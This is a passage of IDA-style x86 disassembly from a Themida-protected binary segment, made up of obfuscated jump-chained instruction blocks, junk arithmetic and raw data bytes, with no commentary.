		sub	edi, 9990E70Fh
		add	edx, edi
		jmp	loc_567755
; ---------------------------------------------------------------------------

loc_56BF3E:				; CODE XREF: Themida_:0055FF66j
		xor	bl, 34h
		jmp	loc_55FA46
; ---------------------------------------------------------------------------
		dw 0C201h
		dd 0BF5C281h, 98E90C4Ch
		db 22h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56BF53:				; CODE XREF: Themida_:0056EB55j
		mov	[esp], esi
		jmp	loc_568084
; ---------------------------------------------------------------------------
		db 8Ah
		dd 0C4832424h, 50516602h, 0E188D1B4h, 1FCAE958h, 15A0000h
		dd 34FF59CEh, 0C4835924h, 0FFF30104h, 835E2434h, 1C3304C4h
		dd 241C3124h, 5C241C33h, 0FF2434FFh, 34FF2434h,	24148B24h
		dd 0FFD836E9h, 895658FFh, 4C681E6h, 0E9000000h,	0FFFF38F0h
; ---------------------------------------------------------------------------

loc_56BFAC:				; CODE XREF: Themida_:00570F66j
		shr	ecx, 7
		push	4DD7h
		mov	[esp], ebx
		push	4FB4h
		mov	[esp], edx
		mov	edx, 65767D43h
		jmp	loc_571ECD
; ---------------------------------------------------------------------------
aTH_z		db 'T[h.z',0
		align 10h
		dd 0FF242BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56BFD5:				; CODE XREF: Themida_:0057155Ej
		sub	eax, 77762D05h
		push	edx
		mov	edx, 35592D80h
		sub	edx, 2E095948h
		dec	edx
		push	ebp
		jmp	loc_56A275
; ---------------------------------------------------------------------------
a1YqiIYzsT	db '1йYQ┴я┴нYZИвT',0
		align 4

loc_56BFFC:				; CODE XREF: Themida_:005629B9j
		pop	ecx
		add	esp, 4
		jmp	loc_56D6EB
; ---------------------------------------------------------------------------
		db 0F7h, 0D2h, 0E9h
		dd 0FFFF8367h, 15BD829h, 171805F8h, 832D2428h, 0FF7DC669h
		dd 575F2434h, 0C781E789h, 4, 4C781h, 3C870000h,	8E685C24h
		dd 8900002Ch, 8868240Ch, 0E900000Ah, 40EBh
; ---------------------------------------------------------------------------

loc_56C044:				; CODE XREF: Themida_:0056FE67j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5701A5
; ---------------------------------------------------------------------------

loc_56C04D:				; CODE XREF: Themida_:00564B51j
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		jmp	loc_560B15
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0B9240C89h, 67522E12h, 44E95155h, 5CFFFF54h,	4C781h
		dd 0C7830000h, 4EC8304h, 0FF243C89h, 0FF042474h
		db 34h,	24h, 5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		jmp	loc_56D8F4
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 21h
		dd 0C1115149h, 0F78107EFh, 697B6902h, 0E7C1D7F7h, 39E95006h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C0C3:				; CODE XREF: Themida_:00570885j
		add	esp, 4
		jmp	loc_55F4A2
; ---------------------------------------------------------------------------
		dw 0B966h
		dd 0EC811FF9h, 2, 24348966h, 139BE66h, 66F10166h, 4BC1685Eh
		dd 14890000h, 0F64EE924h, 148BFFFFh, 0A01AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C0FA:				; CODE XREF: Themida_:0056599Aj
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		jmp	loc_560ECD
; ---------------------------------------------------------------------------
		db 5, 0CDh, 5Ch
		dd 0E82910F4h, 4EC81h, 3C890000h, 33DBBF24h, 0B8506B5Fh
		dd 719F106Bh, 2D05E8C1h, 5DF7CF91h, 2958C701h, 243C8BF8h
		dd 5D04C483h, 0F8570F2Dh, 56D80113h, 8F7C9068h,	55525E1Bh
		dd 0FF392CE9h, 2474FFFFh, 48F5804h, 81515C24h, 4ECh, 242C8900h
		dd 0E904EC83h, 4D4Eh, 7878C581h, 34FF2063h, 0E9575A24h
		dd 0FFFF4F36h, 4BD55h, 0E8010000h
		db 5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56025B
; ---------------------------------------------------------------------------

loc_56C196:				; CODE XREF: Themida_:0055E3FBj
		pop	ebp
		jmp	loc_56832B
; ---------------------------------------------------------------------------
		dd 0BF57525Ch, 28397793h, 425FFA89h, 318CF281h,	0F2814B11h
		dd 43287E19h, 895AD131h, 2434FFCBh, 4C48159h, 0E9000000h
		dd 0FFFFEF6Dh, 0F704E1C1h, 3606E9D9h, 5266FFFFh, 0F000CCB6h
		dd 0C8285A66h, 0C8BCC2Ch, 5F545724h, 4C781h, 0C7830000h
		dd 243C8704h, 4EC815Ch,	89000000h, 15682404h, 89000015h
		dd 3B1240Ch, 0FF6E8BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56C209:				; CODE XREF: Themida_:0057166Bj
		push	ebp
		mov	ebp, 72086366h
		sub	ebp, 8290123Fh
		mov	ebx, ebp
		pop	ebp
		mov	eax, ebx
		pop	ebx
		add	edi, eax
		pop	eax
		jmp	loc_569003
; ---------------------------------------------------------------------------
		db 87h
		dd 895C241Ch, 53502414h, 885125B7h, 0D533E9FDh,	0FF5BFFFFh
		dd 515B2434h, 0C181E189h, 4, 4BD55h, 4AE90000h,	8BFFFFB1h
		dd 0C4812414h, 4, 8353CB80h, 0C8904ECh,	30BDB524h, 0DEBAE9EBh
		dd 5258FFFFh, 2D046FBAh, 21EA8149h, 0E9FAEAD6h,	0FFFFBCC4h
		dd 5F9CC681h, 3CE925B5h, 0BBFFFF78h, 7C8E69A3h,	8104E3C1h
		dd 0E69A2CEBh, 0E9DD89C8h, 0FFFFE406h, 0EF81C701h, 7FE10E9Ch
		dd 0FF4A3AE9h, 243C87FFh, 0FFA9CDE9h, 243433FFh, 33243431h
		dd 8EE92434h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56C2BF:				; CODE XREF: Themida_:00560231j
		xchg	ebp, ebx
		jmp	loc_565FF5
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 7C6263C3h, 55FFE89h,	28C12A60h, 602DF029h, 8B28C12Ah
		dd 89512434h, 0A35CE9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C2E6:				; CODE XREF: Themida_:0056C6DBj
		mov	ecx, esp
		push	6E7Ah
		mov	[esp], ebx
		mov	ebx, 244073B5h
		push	edi
		mov	edi, esp
		jmp	loc_56CB32
; ---------------------------------------------------------------------------
		db 81h,	0CEh, 0E7h
		dd 515B9C72h, 0FFC80BE9h, 766568FFh, 34890000h,	215E5B24h
		dd 1C8B1C5Fh, 89E95724h, 66FFFF42h, 0E9240489h,	0FFFF1545h
		dd 36E9DFF7h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56C32F:				; CODE XREF: Themida_:0056EC52j
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_55F63C
; ---------------------------------------------------------------------------
		dw 22E9h
		db 15h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C34B:				; CODE XREF: Themida_:0056AF45j
		mov	bh, ch
		pop	ecx
		pop	eax
		mov	[edi+eax*4], bh
		jmp	loc_57242B
; ---------------------------------------------------------------------------

loc_56C357:				; CODE XREF: Themida_:005727CEj
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_56EBE8
; ---------------------------------------------------------------------------

loc_56C367:				; CODE XREF: Themida_:0057240Aj
		push	edx
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		not	edx
		xor	ecx, edx
		xor	edx, ecx
		xor	ecx, edx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		push	dword ptr [esp]
		pop	esi
		jmp	loc_56629E
; ---------------------------------------------------------------------------
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56A679
; ---------------------------------------------------------------------------
		db 0ADh
		dd 2073BB53h, 0D8294829h, 81D8015Bh, 4ECh, 0CB22E900h
		dd 1489FFFFh, 0C00AB624h, 6803E6h, 28000000h, 348A2434h
		dd 0D6E95524h, 52000060h, 971AFBBAh, 61FAE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C3D6:				; CODE XREF: Themida_:0055FB36j
		pop	edi
		pop	esi
		jmp	loc_5637BF
; ---------------------------------------------------------------------------
		db 0C0h, 0E0h, 7
		dd 0B050FF2Ch, 0FE092C44h, 0FED8F6C0h, 7754E9C8h, 0FDB9FFFFh
		dd 81450F6Ch, 667203E9h, 0F6BF5779h, 29CBA8FAh,	5E515FF9h
		dd 0EEBA5259h, 8109DC39h, 533382EBh, 81D30177h,	533382C3h
		dd 0C3815A77h, 9A0795Bh, 0EB81F301h, 9A0795Bh, 39EEEB81h
		dd 34FF09DCh, 24348B24h, 4C481h, 89560000h, 4C681E6h, 52000000h
		dd 4BAh, 5AD60100h, 5C243487h, 51E5E953h, 0D9F6FFFFh, 8090E180h
		dd 0C18006E9h, 0E9F128E4h, 0FFFF3836h, 0AE16866h, 24048966h
		dd 6C8AEC88h, 64880224h, 8B660224h, 0E9572404h,	0FFFF43CEh
		dd 240C8B66h, 0E9E08950h, 0FFFF7F55h, 0F707E6C1h, 0B6C681DEh
		dd 31C980ACh, 4271E9F1h, 4810000h, 0DF417924h, 76E95365h
		dd 5DFFFF2Bh, 348BF301h, 4C48124h, 51000000h, 4B9h, 8BCB0100h
		dd 0C483240Ch, 241C8704h, 0E924248Bh, 3A3Bh, 33240431h
		dd 0ABE92404h
		db 34h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C4E3:				; CODE XREF: Themida_:00569189j
		mov	esi, edi
		jmp	loc_570086
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0C780EFD0h, 8BF82818h, 8950241Ch,	2FF6E9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56C502:				; CODE XREF: Themida_:0055E4CFj
		add	esp, 4
		add	ebx, edi
		add	ebx, 6CFB1A4Fh
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_56F413
; ---------------------------------------------------------------------------

loc_56C51B:				; CODE XREF: Themida_:0056760Aj
		sub	ebx, 45360E2Fh
		sub	ebx, esi
		add	ebx, 45360E2Fh
		xchg	ebx, esi
		mov	ebx, [esp]
		push	7A26h
		mov	[esp], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 620C4D05h
		xor	ebx, 620C4D01h
		add	eax, 4ED61D88h
		add	eax, ebx
		sub	eax, 4ED61D88h
		jmp	loc_563A28
; ---------------------------------------------------------------------------

loc_56C555:				; CODE XREF: Themida_:00567BCEj
		pop	ecx
		add	ecx, 1
		xchg	ecx, ebx
		shr	ebx, 3
		push	ecx
		mov	ecx, 2F9E4D22h
		shl	ecx, 5
		shr	ecx, 5
		or	ecx, 48C33A17h
		add	ecx, 0B89BBCBh
		or	ebx, ecx
		pop	ecx
		add	ebx, 4FB073DCh
		jmp	loc_56E2B7
; ---------------------------------------------------------------------------

loc_56C584:				; CODE XREF: Themida_:00560FACj
		mov	eax, 7A6C1D9Bh
		or	ebp, eax
		pop	eax
		not	ebp
		sub	ebp, 8101A1FCh
		add	eax, ebp
		pop	ebp
		jmp	loc_56E62C
; ---------------------------------------------------------------------------
		dd 59CB015Dh, 8124048Bh, 4C4h, 5BC38100h, 507C302Ch, 0FF724EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56C5B5:				; CODE XREF: Themida_:00564D38j
		pop	ecx
		sub	dh, 1Bh
		jmp	loc_56A920
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFF65ADh, 5008E2C1h, 724EEB8h, 0F3E95668h,	89FFFFFCh
		dd 4832424h, 0CCE90424h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C5DF:				; CODE XREF: Themida_:0056530Bj
		mov	edi, 63F772A8h
		shr	edi, 3
		xor	edi, 40201E4Bh
		add	edi, 0B655CE1h
		shl	edi, 2
		sub	edi, 3175EEEDh
		xor	edx, edi
		pop	edi
		jmp	loc_560041
; ---------------------------------------------------------------------------
aS0		db '[Ио0',0
		align 2
		dw 0F281h
		dd 1D833899h, 7DEDEA81h, 0BEE96739h, 81FFFFF3h,	0A821ADE9h
		dd 9EC6E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C626:				; CODE XREF: Themida_:00562BBCj
		mov	bl, 0B9h
		add	al, bl
		pop	bx
		jmp	loc_561301
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 6Ch
		dd 89FFFFE1h, 2434FFCDh, 4C48359h, 4D4BED81h, 0A5E9EDD8h
		dd 52FFFFF8h, 0FF9B42E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56C651:				; CODE XREF: Themida_:00569C7Fj
		pop	esi
		xor	esi, 909C4FA7h
		xor	edx, esi
		mov	esi, [esp]
		jmp	loc_55EE7F
; ---------------------------------------------------------------------------

loc_56C662:				; CODE XREF: Themida_:0056857Aj
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, ebp
		jmp	loc_569E50
; ---------------------------------------------------------------------------

loc_56C674:				; CODE XREF: Themida_:00565331j
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56DDD4
; ---------------------------------------------------------------------------

loc_56C687:				; CODE XREF: Themida_:0056EF6Aj
		neg	eax
		sub	eax, 0EEFDFFFCh
		add	ebp, 66184A84h
		add	ebp, eax
		sub	ebp, 66184A84h
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_563FE8
; ---------------------------------------------------------------------------
		db 1, 54h, 24h
		dd 44015A0Ch, 0E9570824h, 0CABh
; ---------------------------------------------------------------------------

loc_56C6C0:				; CODE XREF: Themida_:00566D1Bj
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	eax, eax
		jz	loc_571E59
		push	dword ptr [edi+28h]
		mov	eax, [esp]
		push	ecx
		jmp	loc_56C2E6
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 7943BB9h, 3BBDF781h, 0FB010794h,	0E689565Fh
		dd 4C681h, 0EE810000h, 4, 5C243487h, 55240489h,	200882BDh
		dd 129AE932h, 56E9FFFFh, 89FFFF11h, 0AAB22414h,	0D005E2C0h
		dd 0B15166EAh, 5A22E9FCh, 14890000h, 2BA24h, 0DD680000h
		dd 8900004Dh, 13BA2414h, 29410220h, 24148BD1h, 104C483h
		dd 13C181D1h, 0FF410220h, 815A2434h, 4C4h, 240C3300h, 33240C31h
		dd 248B240Ch, 0BB0F6624h, 0E99C2404h, 0FFFF10FDh, 0D328D9B3h
		dd 0FFFAD6E9h, 166CB8FFh, 0DF05105Dh, 1038820h,	0AC83E9C2h
		dd 0F581FFFFh, 0C9D867E4h, 815DEE09h, 0B84DF2E6h, 22C68169h
		dd 8997D7F6h, 0EF815EF2h, 40967278h, 0C781D701h, 40967278h
		dd 0FFAD86E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56C7B5:				; CODE XREF: Themida_:0056F00Dj
		push	2691h
		mov	[esp], edi
		push	4
		pop	edi
		add	ecx, 69B312D0h
		sub	ecx, 673654DCh
		sub	ecx, edi
		add	ecx, 673654DCh
		jmp	loc_5726C1
; ---------------------------------------------------------------------------

loc_56C7DC:				; CODE XREF: Themida_:0056654Aj
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		push	ebp
		mov	ebp, 70CD0BAAh
		push	ecx
		mov	ecx, 0
		sub	ecx, ebp
		mov	ebp, ecx
		jmp	loc_56EC5D
; ---------------------------------------------------------------------------
		db 59h
		dd 0FF1746E9h, 0A7E953FFh, 0B9FFFFCAh, 63F0E70h, 0F5E9C801h
		dd 40FFFFB8h, 0A40A9C35h, 8BC1891Ch, 0C4832404h, 5A2BE904h
		dd 0C381FFFFh, 2, 31241C33h, 1C33241Ch,	24248B24h, 0FF60B2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56C83D:				; CODE XREF: Themida_:0055EDA3j
		pop	eax
		xor	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		mov	ecx, 75E33E2Bh
		sub	ecx, 0FD30F9A2h
		mov	ebp, ecx
		pop	ecx
		xor	eax, ebp
		mov	ebp, [esp]
		push	ebx
		push	esp
		jmp	loc_55DDF2
; ---------------------------------------------------------------------------
		dw 0B353h
		dd 5E3C0E8h, 0FF6019E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56C881:				; CODE XREF: Themida_:00565C7Cj
		xor	ecx, 6B157699h
		push	edi
		mov	edi, 41F64C66h
		sub	ecx, edi
		pop	edi
		jmp	loc_56B67B
; ---------------------------------------------------------------------------

loc_56C895:				; CODE XREF: Themida_:0056B690j
		sub	ebp, 4BF83E18h
		shl	ebp, 7
		neg	ebp
		jmp	loc_55FA09
; ---------------------------------------------------------------------------
aRitsf@		db '\R┴БИ■@',0
		align 2

loc_56C8AE:				; CODE XREF: Themida_:0055ECC9j
		mov	[esp], ecx
		jmp	loc_56E739
; ---------------------------------------------------------------------------
		dw 0CD80h
		dd 3203E946h, 0E95DFFFFh, 0FFFF2509h, 45E9BD55h, 0C5815F59h
		dd 540065E0h, 5D13E9h
		db 0
; ---------------------------------------------------------------------------

loc_56C8D5:				; CODE XREF: Themida_:005703D2j
		add	dword ptr [ecx], 1
		pop	ecx
		jmp	loc_563251
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0E95E5456h, 0FFFFD6B9h
; ---------------------------------------------------------------------------

loc_56C8EC:				; CODE XREF: Themida_:0055E842j
		inc	eax
		xor	eax, 167A7B10h
		add	ebp, eax
		jmp	loc_55ECBE
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 87000000h, 575C243Ch, 243C8B54h, 6804C483h, 49C4h, 0B9240C89h
		dd 4, 4AC6EF81h, 0CF014500h, 0FFB2AEE9h, 2C481FFh, 52000000h
		dd 0F280E6B2h, 5AD03076h, 0E9FCC380h, 0FFFFA523h, 28B6664h
		dd 476D6866h, 24048966h, 0FF0F20E9h, 59EF88FFh,	0FFA68CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56C955:				; CODE XREF: Themida_:0056A40Dj
		sub	esi, 2A8765A1h
		jmp	loc_571E9C
; ---------------------------------------------------------------------------
		dd 5007E9C1h, 0B7502DB8h, 0BDAC053Ch, 0C1211639h, 8BC18158h
		dd 501D7E6Ch, 0E43829B8h, 0E9C129E3h, 5DAFh, 0D8E95159h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C98B:				; CODE XREF: Themida_:005715CEj
		mov	[esp], ebp
		mov	ebp, 4
		sub	edx, 255251D5h
		add	edx, 71F83C58h
		sub	edx, 39055DCFh
		add	edx, ebp
		add	edx, 39055DCFh
		sub	edx, 71F83C58h
		push	ecx
		mov	ecx, 255251D5h
		add	edx, ecx
		pop	ecx
		jmp	loc_562C68
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 6Fh
		dd 0E95C3404h, 0FFFF7E2Eh, 84E7C581h, 0E889333Eh, 0E9C8295Dh
		dd 0FFFF74A5h, 5966CF30h, 8B66FA00h, 0C481241Ch, 2, 0D028132Ch
		dd 0E95A1304h, 542Fh
; ---------------------------------------------------------------------------

loc_56C9F8:				; CODE XREF: Themida_:00560F22j
		push	ecx
		jmp	loc_56BA6C
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 30866D7Ch, 4EDC381h,	0EAE91E99h
		db 17h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56CA0F:				; CODE XREF: Themida_:0055E58Aj
		sub	edx, ebx
		sub	edx, 651518B4h
		jmp	loc_560B76
; ---------------------------------------------------------------------------
		dd 24048966h, 0E73027B4h, 0F7805866h, 2E7C003h,	30F0EF80h
		dd 2434FFF8h, 4C4835Bh,	8077C380h, 0B55159EBh, 0BCEB803Eh
		dd 0B74E9h
		db 0
; ---------------------------------------------------------------------------

loc_56CA49:				; CODE XREF: Themida_:0056BAD9j
		mov	edi, 25B77465h
		add	eax, edi
		pop	edi
		jmp	loc_5695E7
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 2474FF50h, 0C2D3E904h, 2D5FFFFFh,	3E87203Bh, 7D74BB53h
		dd 0D82930E3h, 5F0015Bh, 30E37D74h, 4EC81h, 7E90000h, 33FFFF6Ch
		dd 248B241Ch, 4C58324h,	2ECBE955h, 6E04FFFFh, 0FF2B6AE9h
		dd 240C89FFh, 0FF2729E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56CAA5:				; CODE XREF: Themida_:0056F872j
		add	ebx, 0F1AA647Eh
		and	edx, ebx
		pop	ebx
		sub	edx, 0C800CCh
		add	edi, 32D628C9h
		add	edi, edx
		sub	edi, 32D628C9h
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_567CAA
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 0AD680000h, 0E9000046h, 0FFFFFBFCh, 7DA2BE56h
		dd 0CE8163EDh, 15D40E84h, 0FF4F06E9h, 0C4815EFFh, 4, 5C24048Fh
		dd 3F04E9h
		db 0
; ---------------------------------------------------------------------------

loc_56CB05:				; CODE XREF: Themida_:0056441Bj
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, esi
		jmp	loc_560A32
; ---------------------------------------------------------------------------
		db 81h
		dd 0C59114EFh, 5FFA3166h, 6FDFB850h, 0C3295FADh, 81D30158h
		dd 0AD6FDFC3h, 0F173E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56CB32:				; CODE XREF: Themida_:0056C2F8j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 2F6C7E2Ah
		shl	eax, 6
		add	eax, 4FB6C855h
		xor	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		and	ebx, 77BD2B8Bh
		shr	ebx, 8
		add	ebx, 51C61C7Dh
		add	ebx, 66986DCDh
		sub	ebx, 0B8651E67h
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_562AE7
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 318927E0h, 8DE9DDF7h, 1FFFF11h, 243C8BFDh, 4504C483h
		dd 0FFB287E9h, 0FFE883FFh, 0D07E0C1h, 1F697433h, 0FF35FDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56CBAD:				; CODE XREF: Themida_:00565CECj
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		xchg	ebx, edx
		push	dword ptr [edi+24h]
		push	edx
		pop	dword ptr [edi+24h]
		pop	edx
		sub	esp, 4
		jmp	loc_56BC14
; ---------------------------------------------------------------------------

loc_56CBC8:				; CODE XREF: Themida_:0056A92Dj
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 0D1h
		inc	bl
		shr	bl, 7
		dec	bl
		sub	bl, 0B0h
		add	al, bl
		jmp	loc_56D0A8
; ---------------------------------------------------------------------------
		dd 50240C89h, 12E959B4h, 81FFFFCFh, 808246Ch, 812CC746h
		dd 48082444h, 567FA46Fh, 0FF3CF2E9h, 0D0F75FFFh, 1323390Dh
		dd 53D0F741h, 4D2018BBh, 0F3814B4Fh, 18F4361Bh,	0FF8051E9h
		dd 66CBDFFh, 49E91EEBh,	5E000051h, 8DDE9h, 2474FF00h, 48F5B04h
		dd 4895C24h, 5E08924h, 4, 42Dh,	24048700h, 0E924248Bh
		dd 0FFFFF97Fh, 34FFF831h, 2434FF24h, 4EC835Fh, 0E9241C89h
		dd 0FFFF7244h, 0B9E9E589h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------

loc_56CC6F:				; CODE XREF: Themida_:005627A1j
		add	edx, 6AEC1B92h
		jmp	loc_565C98
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24348904h, 0A4014DBEh, 0C3CE8168h, 81441F3Ch, 25335AE6h
		dd 3EEC145h, 0FFFFC681h, 0C681FFFFh, 6B4D8263h,	3B3968h
		dd 242C8900h, 0ED7A96BDh, 8BEE3131h, 0C481242Ch, 4, 5A2EF681h
		dd 0E6810AD5h, 1A7B47C5h, 333DEE81h, 514E20C5h,	4D11A4B9h
		dd 81D9F728h, 0E9DD1DF1h, 1525E9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56CCDE:				; CODE XREF: Themida_:0056BD98j
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_566E84
; ---------------------------------------------------------------------------
		db 81h
		dd 0CA0798EFh, 53CF0104h, 2A3AB951h, 0C1410ECEh, 814107E1h
		dd 0DF1A19F1h, 451DE963h, 0BD550000h, 4, 34FFEB01h, 0DAE95D24h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56CD1B:				; CODE XREF: Themida_:0057249Cj
		pop	eax
		push	edx
		mov	edx, 28CF3F94h
		or	edx, 5DA81404h
		sub	edx, 35550E7Bh
		and	edx, 1202752Fh
		add	edx, 0ECBE66C7h
		add	ecx, edx
		pop	edx
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56E118
; ---------------------------------------------------------------------------
		db 1, 0F7h, 0E9h
		dd 368Ch, 240C8B66h, 4F8D68h, 6C22E900h, 0C329FFFFh, 0FECC381h
		dd 0EB810352h, 2E7E0Dh,	0E924048Bh, 0FFFF3114h
; ---------------------------------------------------------------------------

loc_56CD78:				; CODE XREF: Themida_:0056F627j
		add	esp, 4
		sub	edx, 62682773h
		add	edx, 36E42C10h
		sub	edx, 6DB024F7h
		jmp	loc_55DE22
; ---------------------------------------------------------------------------

loc_56CD92:				; CODE XREF: Themida_:0057096Cj
		mov	ebx, 34373870h
		add	ebx, 57375528h
		add	ebx, 49DD4728h
		jmp	loc_56E24C
; ---------------------------------------------------------------------------

loc_56CDA8:				; CODE XREF: Themida_:00564C98j
		push	3D7Ah
		mov	[esp], eax
		push	esp
		jmp	loc_562E81
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 0F6379F89h, 0FFB5EBE9h, 0AA7E9FFh, 0D501FFFFh, 0FFF39BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56CDCD:				; CODE XREF: Themida_:00564FA9j
		pop	edx
		add	bl, 0F1h
		jmp	loc_569672
; ---------------------------------------------------------------------------
		dw 8853h
		dd 8DB8E9EBh, 0C629FFFFh, 243C8B58h, 0FF0A96E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56CDE9:				; CODE XREF: Themida_:0056258Fj
		pop	eax
		add	ebp, ebx
		pop	ebx
		jmp	loc_567D2C
; ---------------------------------------------------------------------------

loc_56CDF2:				; CODE XREF: Themida_:00566512j
		mov	eax, esp
		jmp	loc_571451
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0A430F6B9h, 0F7D9F72Ch, 38BBE9D1h, 34FFFFFFh, 2434FF24h
		dd 0FFD454E9h, 0FD3B9FFh, 0BB5322ABh, 22AB0FD7h, 1C8BD931h
		dd 4C48124h, 1000000h, 895759CBh, 4C781E7h, 83000000h
		dd 3C3304EFh, 243C3124h, 0E9243C33h, 0FFFFEC1Eh
; ---------------------------------------------------------------------------

loc_56CE48:				; CODE XREF: Themida_:00570316j
		add	ebp, 71EC4F28h
		add	ebp, ebx
		sub	ebp, 71EC4F28h
		push	edx
		mov	edx, 560809E9h
		xor	edx, 56403D62h
		push	edi
		mov	edi, 4521652h
		jmp	loc_56493B
; ---------------------------------------------------------------------------
aNEs		db '╜-ES*',0
		db 55h
		dd 7B374BBDh, 36B9512Bh, 811FFC04h, 13032CE9h, 0C1814113h
		dd 21D2458Ah, 0E959CD29h, 0FFFFA5DBh
; ---------------------------------------------------------------------------

loc_56CE94:				; CODE XREF: Themida_:00564252j
		shl	ebx, 7
		push	ebp
		mov	ebp, 1A211133h
		jmp	loc_565336
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFF169Eh, 8107EDC1h, 0A80D16F5h, 4A15E948h, 0F681FFFFh
		dd 27AF0DD7h, 0C247429h, 245C295Eh, 24448108h, 1072F008h
		dd 48BA520Ah, 297FA46Fh, 5A0C2454h, 8244481h, 2CC74608h
		dd 0FF8EBFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56CEE5:				; CODE XREF: Themida_:005691EDj
		and	ebp, 1E694527h
		add	ebp, 1A600AB0h
		xor	ebp, 0BF3450Dh
		add	ebp, 4E531E29h
		mov	esi, ebp
		mov	ebp, [esp]
		jmp	loc_567B66
; ---------------------------------------------------------------------------
		db 81h
		dd 0DB590DC1h, 0E9D1014Fh, 464Fh, 4245401h, 5152595Ah
		dd 0FF915BE9h, 57B8BBFFh, 0D8E96B10h
		db 2Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56CF2B:				; CODE XREF: Themida_:00560707j
		push	1410h
		jmp	loc_56999A
; ---------------------------------------------------------------------------
		db 29h,	0CEh, 8Bh
